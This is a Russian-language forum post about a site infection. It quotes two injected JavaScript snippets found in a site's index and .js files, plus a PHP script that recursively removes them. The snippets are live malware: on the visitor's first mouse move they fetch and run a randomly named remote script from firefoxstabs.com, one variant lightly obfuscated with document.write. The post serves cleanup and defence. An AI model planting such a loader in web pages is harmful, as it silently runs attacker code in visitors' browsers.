вирус на FTP в index.* и *.JS файлах - Дизайн и модификация Invision Power Board

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});</script>
document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});

<?php 
define ('BR', "<br />\r\n"); 
$srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript(\'http://firefoxstabs.com/\' + Math.random().toString().substring(3) + \'.js\', function() {flag = 2;});}});});</script>'; 
$srch2="document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"; 

function clean_file($file)
{ 
global $srch;
global $srch2; 
    $basename=basename($file); 
    $filename=substr($basename, 0, strrpos($basename, '.')); 
    //print($file.BR);
    
        $f_in=file_get_contents($file); 
        if (strpos($f_in, $srch)!=false) { 
  
              print("<b>".$file."</b><br>");
            $f_in=str_replace($srch, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
        if (strpos($f_in, $srch2)!=false) { 
        
            print("<b>".$file."</b><br>");
            
            $f_in=str_replace($srch2, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
    
} 

function firefoxtabs_remover($dir){ 
    if ($objs = glob($dir."/*")) { 
        foreach($objs as $obj) { 
            if (is_dir($obj)) firefoxtabs_remover($obj); 
            else clean_file($obj); 
        } 
    } 
} 

$dir=realpath('./'); 
firefoxtabs_remover($dir); 
?>